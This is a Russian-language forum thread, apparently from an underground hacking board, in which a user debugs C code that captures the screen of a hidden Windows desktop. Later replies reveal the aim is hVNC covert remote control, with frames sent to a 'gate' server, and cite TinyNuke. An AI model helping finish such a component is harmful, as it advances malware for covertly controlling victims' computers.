• XSS.stack #1 – первый литературный журнал от юзеров форума

Проблема с vnc

Jurddox

RAID-массив
Забанен
Регистрация
22.09.2020
Сообщения
93
Реакции
4
Пожалуйста, обратите внимание, что пользователь заблокирован
Всем привет, вот функция которая должна получать пискли созданного нового рабочего стола:
#include <windows.h>

int main()
{
HDESK g_hDesk;
BITMAPINFOHEADER g_sImageInfo = {};
char* g_pImageBits = 0;

g_hDesk = OpenDesktopA("novij rabochij stol", 0, TRUE, GENERIC_ALL);
if (!g_hDesk)
g_hDesk = CreateDesktopA("novij rabochij stol", NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(g_hDesk);

HWND hWnd = GetDesktopWindow();

RECT rc;
GetClientRect(hWnd, &rc);
int cx = rc.right - rc.left;
int cy = rc.bottom - rc.top;

if (!g_pImageBits || (g_sImageInfo.biWidth != cx) || (g_sImageInfo.biHeight != cy))
{
if (g_pImageBits)
free(g_pImageBits);

int line = cx * 4;
int size = cy * line;
g_pImageBits = (char*)malloc(size);

g_sImageInfo.biSize = sizeof(g_sImageInfo);
g_sImageInfo.biWidth = cx;
g_sImageInfo.biHeight = cy;
g_sImageInfo.biPlanes = 1;
g_sImageInfo.biBitCount = 32;
g_sImageInfo.biCompression = BI_RGB;
g_sImageInfo.biSizeImage = size;
}

HDC hDc = GetDC(NULL);
HDC hMemDc = CreateCompatibleDC(hDc);
HBITMAP hMemBitmap = CreateCompatibleBitmap(hDc, cx, cy);
HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDc, hMemBitmap);
BitBlt(hMemDc, 0, 0, cx, cy, hDc, rc.left, rc.top, SRCCOPY);
SelectObject(hMemDc, hOldBitmap);
GetDIBits(hDc, hMemBitmap, 0, cy, g_pImageBits, (BITMAPINFO*)&g_sImageInfo, DIB_RGB_COLORS);
DeleteObject(hMemBitmap);
DeleteDC(hMemDc);
ReleaseDC(hWnd, hDc);
}
g_pImageBits равняется NULL после выполнения функции
 
Пожалуйста, обратите внимание, что пользователь заблокирован
g_pImageBits равняется NULL после выполнения функции
А до выполнения, она не NULL? Запусти отладчик и постмотри, на каком этапе она становится NULL, вполне вероятно, что она и не маллочится, так как в winapi функции нет нигде того, что могло бы эту переменную установить в NULL. Возможно cx или cy равен нулю, или что-то в таком духе.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А до выполнения, она не NULL? Запусти отладчик и постмотри, на каком этапе она становится NULL, вполне вероятно, что она и не маллочится, так как в winapi функции нет нигде того, что могло бы эту переменную установить в NULL. Возможно cx или cy равен нулю, или что-то в таком духе.
cx и cy с ними все норм, это разрешения экрана. g_pImageBits - я чекал ее длину через strlen, возвращает 0
 
Пожалуйста, обратите внимание, что пользователь заблокирован
g_pImageBits - я чекал ее длину через strlen, возвращает 0
Лол, что? Ты в курсе, что это не строка, а бинарные данные, если у тебя в бинарных данных первый байт нулевой, то поздравляю, strlen вернет 0.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Лол, что? Ты в курсе, что это не строка, а бинарные данные, если у тебя в бинарных данных первый байт нулевой, то поздравляю, strlen вернет 0.
Да это исключено. Я пробовал получать пиксели из текущего рабочего стола пользователя, там strlen возвращал норм длину. Да и все пиксели рисовались в окно
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да это исключено.
Что исключено? Использовать strlen для определения длины в корне не правильно, первый пиксель, который будет иметь 0 в любом из компонентов RGB обрежет твою длину. Это просто смешно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
К тому же о чем мы вообще говорим? У тебя уже есть длина данных в переменной size.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Практически все функции, которые ты используешь могут возвращать ошибку. Если что-то не работает, определи какая из них не отработала и получи код ошибки.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я глянул в g_pImageBits действительно ничего не пишется GetDIBits после выполнения этой функции
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я глянул в g_pImageBits действительно ничего не пишется GetDIBits после выполнения этой функции
Еще раз, тебе нужно проверять результаты winapi функций, которые ты вызываешь. Любая из этих функций могла зафейлить и вернуть нулевой хендл там например, после чего все остальные вызовы идут по пизде.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
возможно трабл где-то в коде, а именно, ты не обнуляешь структуру и там во время компиляции могут быть произвольные значения
RECT rc.

А вообще, как сказали выше, что мешает трассировать фукнции и смотреть их значения?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
возможно трабл где-то в коде, а именно, ты не обнуляешь структуру и там во время компиляции могут быть произвольные значения
RECT rc.

А вообще, как сказали выше, что мешает трассировать фукнции и смотреть их значения?
Функция GetDIBits возвращает не 0, а высоту экрана, как было сказано в документации. Однако функция BitBit возвращает 0.
bandicam 2021-01-04 11-50-32-562.jpg

Вот что творится после выполнения функции GetDIBits. Видно, то что g_pImageBits - пустая
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Еще раз, тебе нужно проверять результаты winapi функций, которые ты вызываешь. Любая из этих функций могла зафейлить и вернуть нулевой хендл там например, после чего все остальные вызовы идут по пизде.
Функция BitBit возвращает 0, GetLastError возвращает код ошибки 6, а это означает то, что дескриптор не нейден
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Функция BitBit возвращает 0, GetLastError возвращает код ошибки 6, а это означает то, что дескриптор не нейден
Он не не найден, он не валиден. Возможно стоит делать GetDC(hWnd), но вряд ли поможет. На stackoverflow задай этот вопрос, возможно нужно какие-то еще действия проводить для переключения десктопа для потока, я хз.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
попробуй оптимизировать свой код, через DIBSection, там буфер связанный BITMAPINFO и pData в глобальной области для твоей структуры. Его размеры действительны будут достаточно долгое время. Тебе нужно следить за изменениями в разрешение экрана, обрабатывая сообщения WM_DISPLAYCHANGE
 
Пожалуйста, обратите внимание, что пользователь заблокирован
попробуй оптимизировать свой код, через DIBSection, там буфер связанный BITMAPINFO и pData в глобальной области для твоей структуры. Его размеры действительны будут достаточно долгое время. Тебе нужно следить за изменениями в разрешение экрана, обрабатывая сообщения WM_DISPLAYCHANGE
ты имеешь ввиду вызывать функцию CreateDIBSection?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Он не не найден, он не валиден. Возможно стоит делать GetDC(hWnd), но вряд ли поможет. На stackoverflow задай этот вопрос, возможно нужно какие-то еще действия проводить для переключения десктопа для потока, я хз.
Я задал вопрос на stackoverflow. Написали то что вызывать функцию SwitchDesktop, тем самым делая текущим созданный рабочий стол. Я попробовал это сделать, но после запуска становится белый экран, но этого следовало ожидать
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Без обид ТС, но мне кажется, ты не осилишь хвнц. То, что написал - это даже не начало. Потом надо ещё рисовать, сжимать, отправлять на гейт, там рисовать и т.д.

Лучше возьмись за внц. Как раз самое то, чтоб понять как все примерно устроено
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Без обид ТС, но мне кажется, ты не осилишь хвнц. То, что написал - это даже не начало. Потом надо ещё рисовать, сжимать, отправлять на гейт, там рисовать и т.д.
Это все есть в TinyNuke
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх